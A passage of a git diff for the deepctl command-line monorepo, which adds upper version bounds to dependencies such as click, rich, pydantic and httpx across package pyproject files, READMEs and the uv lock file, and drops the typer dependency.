+++ b/packages/deepctl-cmd-mcp/pyproject.toml
@@ -20,9 +20,9 @@ dependencies = [
     # CallToolResult through whole and takes httpx_client_factory, which
     # dg mcp uses to refuse redirects. mcp 2.0 removed streamablehttp_client.
     "mcp>=1.22.0,<2.0.0",
-    "rich>=13.9.4",
-    "click>=8.1.7",
-    "pydantic>=2.10.1",
+    "rich>=13.9.4,<16",
+    "click>=8.2.0,<9",
+    "pydantic>=2.10.1,<3",
 ]
 
 [project.entry-points."deepctl.commands"]
diff --git a/packages/deepctl-cmd-members/README.md b/packages/deepctl-cmd-members/README.md
index 19b8a146..a68e2fa7 100644
--- a/packages/deepctl-cmd-members/README.md
+++ b/packages/deepctl-cmd-members/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-members/pyproject.toml b/packages/deepctl-cmd-members/pyproject.toml
index b5ec6ef1..14ae5f91 100644
--- a/packages/deepctl-cmd-members/pyproject.toml
+++ b/packages/deepctl-cmd-members/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-models/README.md b/packages/deepctl-cmd-models/README.md
index a5a54646..f359ad48 100644
--- a/packages/deepctl-cmd-models/README.md
+++ b/packages/deepctl-cmd-models/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-models/pyproject.toml b/packages/deepctl-cmd-models/pyproject.toml
index 459dd732..214e6aff 100644
--- a/packages/deepctl-cmd-models/pyproject.toml
+++ b/packages/deepctl-cmd-models/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-projects/README.md b/packages/deepctl-cmd-projects/README.md
index 1ef69b02..d83bcc40 100644
--- a/packages/deepctl-cmd-projects/README.md
+++ b/packages/deepctl-cmd-projects/README.md
@@ -33,10 +33,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
 - `deepgram-sdk>=7.7.0,<8`
-- `pydantic>=2.0.0`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-projects/pyproject.toml b/packages/deepctl-cmd-projects/pyproject.toml
index 51eedd86..8d8700a0 100644
--- a/packages/deepctl-cmd-projects/pyproject.toml
+++ b/packages/deepctl-cmd-projects/pyproject.toml
@@ -23,10 +23,10 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
     "deepgram-sdk>=7.7.0,<8",
-    "pydantic>=2.0.0",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-read/README.md b/packages/deepctl-cmd-read/README.md
index 1a8dfd89..72a22e5f 100644
--- a/packages/deepctl-cmd-read/README.md
+++ b/packages/deepctl-cmd-read/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-read/pyproject.toml b/packages/deepctl-cmd-read/pyproject.toml
index 7bee9ab1..3d69a387 100644
--- a/packages/deepctl-cmd-read/pyproject.toml
+++ b/packages/deepctl-cmd-read/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-requests/README.md b/packages/deepctl-cmd-requests/README.md
index ab9b8b4f..3ca3d03e 100644
--- a/packages/deepctl-cmd-requests/README.md
+++ b/packages/deepctl-cmd-requests/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-requests/pyproject.toml b/packages/deepctl-cmd-requests/pyproject.toml
index 53bf4919..3732c505 100644
--- a/packages/deepctl-cmd-requests/pyproject.toml
+++ b/packages/deepctl-cmd-requests/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-skills/README.md b/packages/deepctl-cmd-skills/README.md
index cd3aaa22..59f46ce5 100644
--- a/packages/deepctl-cmd-skills/README.md
+++ b/packages/deepctl-cmd-skills/README.md
@@ -33,8 +33,8 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
 
 ## License
 
diff --git a/packages/deepctl-cmd-skills/pyproject.toml b/packages/deepctl-cmd-skills/pyproject.toml
index c1629adb..16680768 100644
--- a/packages/deepctl-cmd-skills/pyproject.toml
+++ b/packages/deepctl-cmd-skills/pyproject.toml
@@ -8,8 +8,8 @@ authors = [{ name = "Deepgram DevRel", email = "devrel@deepgram.com" }]
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
 ]
 
 [project.entry-points."deepctl.commands"]
diff --git a/packages/deepctl-cmd-speak/README.md b/packages/deepctl-cmd-speak/README.md
index 2b4c5489..c07a76ca 100644
--- a/packages/deepctl-cmd-speak/README.md
+++ b/packages/deepctl-cmd-speak/README.md
@@ -33,9 +33,9 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
-- `pydantic>=2.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-speak/pyproject.toml b/packages/deepctl-cmd-speak/pyproject.toml
index e9ad9b32..242215c7 100644
--- a/packages/deepctl-cmd-speak/pyproject.toml
+++ b/packages/deepctl-cmd-speak/pyproject.toml
@@ -23,9 +23,9 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
-    "pydantic>=2.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-cmd-update/README.md b/packages/deepctl-cmd-update/README.md
index 8f10e759..17e382fa 100644
--- a/packages/deepctl-cmd-update/README.md
+++ b/packages/deepctl-cmd-update/README.md
@@ -33,11 +33,11 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `pydantic>=2.0.0`
-- `rich>=13.0.0`
+- `click>=8.2.0,<9`
+- `pydantic>=2.0.0,<3`
+- `rich>=13.0.0,<16`
 - `packaging>=21.0`
-- `httpx>=0.24.0`
+- `httpx>=0.24.0,<1`
 
 ## License
 
diff --git a/packages/deepctl-cmd-update/pyproject.toml b/packages/deepctl-cmd-update/pyproject.toml
index d20a514c..fd0e3767 100644
--- a/packages/deepctl-cmd-update/pyproject.toml
+++ b/packages/deepctl-cmd-update/pyproject.toml
@@ -24,11 +24,11 @@ requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "pydantic>=2.0.0",
-    "rich>=13.0.0",
+    "click>=8.2.0,<9",
+    "pydantic>=2.0.0,<3",
+    "rich>=13.0.0,<16",
     "packaging>=21.0",
-    "httpx>=0.24.0",
+    "httpx>=0.24.0,<1",
 ]
 
 [project.entry-points."deepctl.commands"]
diff --git a/packages/deepctl-cmd-usage/README.md b/packages/deepctl-cmd-usage/README.md
index 82771a6e..b53a1d35 100644
--- a/packages/deepctl-cmd-usage/README.md
+++ b/packages/deepctl-cmd-usage/README.md
@@ -33,10 +33,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
-- `rich>=13.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
 - `deepgram-sdk>=7.7.0,<8`
-- `pydantic>=2.0.0`
+- `pydantic>=2.0.0,<3`
 
 ## License
 
diff --git a/packages/deepctl-cmd-usage/pyproject.toml b/packages/deepctl-cmd-usage/pyproject.toml
index ff6c0917..7e5d5f6b 100644
--- a/packages/deepctl-cmd-usage/pyproject.toml
+++ b/packages/deepctl-cmd-usage/pyproject.toml
@@ -24,10 +24,10 @@ dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
     "deepctl-shared-utils==0.4.1", # x-release-please-version
-    "click>=8.0.0",
-    "rich>=13.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
     "deepgram-sdk>=7.7.0,<8",
-    "pydantic>=2.0.0",
+    "pydantic>=2.0.0,<3",
 ]
 
 [project.scripts]
diff --git a/packages/deepctl-core/README.md b/packages/deepctl-core/README.md
index 2cf36ca2..f173d1f9 100644
--- a/packages/deepctl-core/README.md
+++ b/packages/deepctl-core/README.md
@@ -29,15 +29,15 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `click>=8.0.0`
+- `click>=8.2.0,<9`
 - `deepgram-sdk>=7.7.0,<8`
-- `pydantic>=2.0.0`
-- `rich>=13.0.0`
-- `httpx>=0.24.0`
+- `pydantic>=2.0.0,<3`
+- `rich>=13.0.0,<16`
+- `httpx>=0.24.0,<1`
 - `pyjwt>=2.8.0`
-- `keyring>=24.0.0`
+- `keyring>=24.0.0,<26`
 - `pyyaml>=6.0.0`
-- `platformdirs>=3.0.0`
+- `platformdirs>=3.0.0,<5`
 - `packaging>=21.0`
 
 ## License
diff --git a/packages/deepctl-core/pyproject.toml b/packages/deepctl-core/pyproject.toml
index 8aca0d0e..84dc1bdd 100644
--- a/packages/deepctl-core/pyproject.toml
+++ b/packages/deepctl-core/pyproject.toml
@@ -23,15 +23,15 @@ keywords = ["deepgram", "core", "auth", "config", "client"]
 requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
-    "click>=8.0.0",
+    "click>=8.2.0,<9",
     "deepgram-sdk>=7.7.0,<8",
-    "pydantic>=2.0.0",
-    "rich>=13.0.0",
-    "httpx>=0.24.0",
+    "pydantic>=2.0.0,<3",
+    "rich>=13.0.0,<16",
+    "httpx>=0.24.0,<1",
     "pyjwt>=2.8.0",
-    "keyring>=24.0.0",
+    "keyring>=24.0.0,<26",
     "pyyaml>=6.0.0",
-    "platformdirs>=3.0.0",
+    "platformdirs>=3.0.0,<5",
     "packaging>=21.0",
 ]
 
diff --git a/packages/deepctl-shared-utils/README.md b/packages/deepctl-shared-utils/README.md
index a2d43af9..fdb14303 100644
--- a/packages/deepctl-shared-utils/README.md
+++ b/packages/deepctl-shared-utils/README.md
@@ -29,10 +29,10 @@ pipx run deepctl --help
 
 ## Dependencies
 
-- `pydantic>=2.0.0`
-- `click>=8.0.0`
-- `httpx>=0.24.0`
-- `rich>=13.0.0`
+- `pydantic>=2.0.0,<3`
+- `click>=8.2.0,<9`
+- `httpx>=0.24.0,<1`
+- `rich>=13.0.0,<16`
 
 ## License
 
diff --git a/packages/deepctl-shared-utils/pyproject.toml b/packages/deepctl-shared-utils/pyproject.toml
index 4c66c3a2..03d8f37f 100644
--- a/packages/deepctl-shared-utils/pyproject.toml
+++ b/packages/deepctl-shared-utils/pyproject.toml
@@ -22,10 +22,10 @@ keywords = ["deepgram", "utilities", "validation", "helpers"]
 requires-python = ">=3.10"
 dependencies = [
     "deepctl==0.4.1", # x-release-please-version
-    "pydantic>=2.0.0",
-    "click>=8.0.0",
-    "httpx>=0.24.0",
-    "rich>=13.0.0",
+    "pydantic>=2.0.0,<3",
+    "click>=8.2.0,<9",
+    "httpx>=0.24.0,<1",
+    "rich>=13.0.0,<16",
 ]
 
 [tool.setuptools]
diff --git a/packages/deepctl-telemetry/README.md b/packages/deepctl-telemetry/README.md
index b5eb157e..5162efab 100644
--- a/packages/deepctl-telemetry/README.md
+++ b/packages/deepctl-telemetry/README.md
@@ -30,8 +30,8 @@ pipx run deepctl --help
 ## Dependencies
 
 - `sentry-sdk>=2.35.0,<3`
-- `click>=8.0.0`
-- `rich>=13.0.0`
+- `click>=8.2.0,<9`
+- `rich>=13.0.0,<16`
 
 ## License
 
diff --git a/packages/deepctl-telemetry/pyproject.toml b/packages/deepctl-telemetry/pyproject.toml
index d9bacced..4b924425 100644
--- a/packages/deepctl-telemetry/pyproject.toml
+++ b/packages/deepctl-telemetry/pyproject.toml
@@ -24,8 +24,8 @@ dependencies = [
     "deepctl==0.4.1", # x-release-please-version
     "deepctl-core==0.4.1", # x-release-please-version
     "sentry-sdk>=2.35.0,<3",
-    "click>=8.0.0",
-    "rich>=13.0.0",
+    "click>=8.2.0,<9",
+    "rich>=13.0.0,<16",
 ]
 
 [tool.setuptools]
diff --git a/pyproject.toml b/pyproject.toml
index 1d72c3fb..cdef3d26 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -33,7 +33,7 @@ keywords = [
 ]
 requires-python = ">=3.10"
 dependencies = [
-    "click>=8.0.0",
+    "click>=8.2.0,<9",
     "deepgram-sdk>=7.7.0,<8",
     "deepctl-core==0.4.1", # x-release-please-version
     "deepctl-cmd-login==0.4.1", # x-release-please-version
@@ -64,15 +64,14 @@ dependencies = [
     "deepctl-cmd-completion==0.4.1", # x-release-please-version
     "deepctl-shared-utils==0.4.1", # x-release-please-version
     "deepctl-telemetry==0.4.1", # x-release-please-version
-    "pydantic>=2.0.0",
-    "rich>=13.0.0",
-    "httpx>=0.24.0",
+    "pydantic>=2.0.0,<3",
+    "rich>=13.0.0,<16",
+    "httpx>=0.24.0,<1",
     "requests>=2.31,<3.0",
     "pyjwt>=2.8.0",
-    "keyring>=24.0.0",
+    "keyring>=24.0.0,<26",
     "pyyaml>=6.0.0",
-    "typer>=0.9.0",
-    "platformdirs>=3.0.0",
+    "platformdirs>=3.0.0,<5",
 ]
 
 [project.optional-dependencies]
diff --git a/uv.lock b/uv.lock
index c828a3b2..77caeca5 100644
--- a/uv.lock
+++ b/uv.lock
@@ -245,15 +245,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 7490, upload-time = "2025-07-03T22:54:42.156Z" },
 ]
 
-[[package]]
-name = "annotated-doc"
-version = "0.0.5"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/5a/8e/38aa427ed5402449e226975b649c5dc73ccadfefeb95e6aecb8f8ea4b6b6/annotated_doc-0.0.5.tar.gz", hash = "sha256:c7e58ce09192557605d8bbd92836d7e1d520ac9580096042c0bfd197efacf1bb", size = 10758, upload-time = "2026-07-28T13:50:58.129Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/3e/30/e900b21425a860e195f32e37657aa1f7c7f2b1bfb26f03ca209b90933c06/annotated_doc-0.0.5-py3-none-any.whl", hash = "sha256:117bac03a25ede5df5440e855b32d556049ca169ead221505badf432fed4b101", size = 5302, upload-time = "2026-07-28T13:50:57.239Z" },
-]
-
 [[package]]
 name = "annotated-types"
 version = "0.8.0"
@@ -939,7 +930,6 @@ dependencies = [
     { name = "pyyaml" },
     { name = "requests" },
     { name = "rich" },
-    { name = "typer" },
 ]
 
 [package.optional-dependencies]
@@ -993,7 +983,7 @@ testing = [
 [package.metadata]
 requires-dist = [
     { name = "build", marker = "extra == 'dev'", specifier = ">=0.10.0" },
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl-cmd-api", editable = "packages/deepctl-cmd-api" },
     { name = "deepctl-cmd-billing", editable = "packages/deepctl-cmd-billing" },
     { name = "deepctl-cmd-completion", editable = "packages/deepctl-cmd-completion" },
@@ -1024,13 +1014,13 @@ requires-dist = [
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "deepctl-telemetry", editable = "packages/deepctl-telemetry" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "keyring", specifier = ">=24.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "keyring", specifier = ">=24.0.0,<26" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.0.0" },
     { name = "packaging", marker = "extra == 'dev'", specifier = ">=23.0" },
-    { name = "platformdirs", specifier = ">=3.0.0" },
+    { name = "platformdirs", specifier = ">=3.0.0,<5" },
     { name = "pre-commit", marker = "extra == 'dev'", specifier = ">=3.0.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "pyjwt", specifier = ">=2.8.0" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=7.0.0" },
     { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=0.21.0" },
@@ -1040,10 +1030,9 @@ requires-dist = [
     { name = "pyyaml", specifier = ">=6.0.0" },
     { name = "requests", specifier = ">=2.31,<3.0" },
     { name = "responses", marker = "extra == 'dev'", specifier = ">=0.23.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
     { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.8.0" },
     { name = "twine", marker = "extra == 'dev'", specifier = ">=7.0.0" },
-    { name = "typer", specifier = ">=0.9.0" },
     { name = "types-pyyaml", marker = "extra == 'dev'", specifier = ">=6.0.0" },
     { name = "types-requests", marker = "extra == 'dev'", specifier = ">=2.31.0" },
 ]
@@ -1094,12 +1083,12 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1116,11 +1105,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1137,11 +1126,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1158,11 +1147,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1181,13 +1170,13 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "ffmpeg-python", specifier = ">=0.2.0" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1213,14 +1202,14 @@ dev = [
 [package.metadata]
 requires-dist = [
     { name = "aiohttp", specifier = ">=3.9.0" },
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=7.0.0" },
     { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=0.21.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 provides-extras = ["dev"]
 
@@ -1240,13 +1229,13 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "requests", specifier = ">=2.31,<3.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1266,12 +1255,12 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "aiohttp", specifier = ">=3.11.0" },
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1298,16 +1287,16 @@ dev = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.1.7" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "httpx", specifier = ">=0.27.0" },
+    { name = "httpx", specifier = ">=0.27.0,<1" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.13.0" },
-    { name = "platformdirs", specifier = ">=4.0.0" },
-    { name = "pydantic", specifier = ">=2.10.1" },
+    { name = "platformdirs", specifier = ">=4.0.0,<5" },
+    { name = "pydantic", specifier = ">=2.10.1,<3" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=8.3.3" },
     { name = "pytest-mock", marker = "extra == 'dev'", specifier = ">=3.14.0" },
-    { name = "rich", specifier = ">=13.9.4" },
+    { name = "rich", specifier = ">=13.9.4,<16" },
     { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.8.1" },
 ]
 provides-extras = ["dev"]
@@ -1327,12 +1316,12 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1350,12 +1339,12 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "httpx", specifier = ">=0.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "httpx", specifier = ">=0.24.0,<1" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1372,11 +1361,11 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1401,16 +1390,16 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "deepgram-captions", specifier = ">=2.0.0" },
     { name = "numpy", specifier = ">=1.24.0" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
     { name = "sounddevice", specifier = ">=0.4.6" },
-    { name = "websockets", specifier = ">=13.1" },
+    { name = "websockets", specifier = ">=13.1,<18" },
 ]
 
 [[package]]
@@ -1428,12 +1417,12 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.0.0" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
-    { name = "pydantic", specifier = ">=2.0.0" },
-    { name = "rich", specifier = ">=13.0.0" },
+    { name = "pydantic", specifier = ">=2.0.0,<3" },
+    { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
 [[package]]
@@ -1461,17 +1450,17 @@ dev = [
 
 [package.metadata]
 requires-dist = [
-    { name = "click", specifier = ">=8.1.7" },
+    { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "mcp", specifier = ">=1.22.0,<2.0.0" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.13.0" },
-    { name = "pydantic", specifier = ">=2.10.1" },
+    { name = "pydantic", specifier = ">=2.10.1,<3" },
     { name = "pytest", marker = "extra == 'dev'", specifier = ">=8.3.3" },
     { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=0.24.0" },
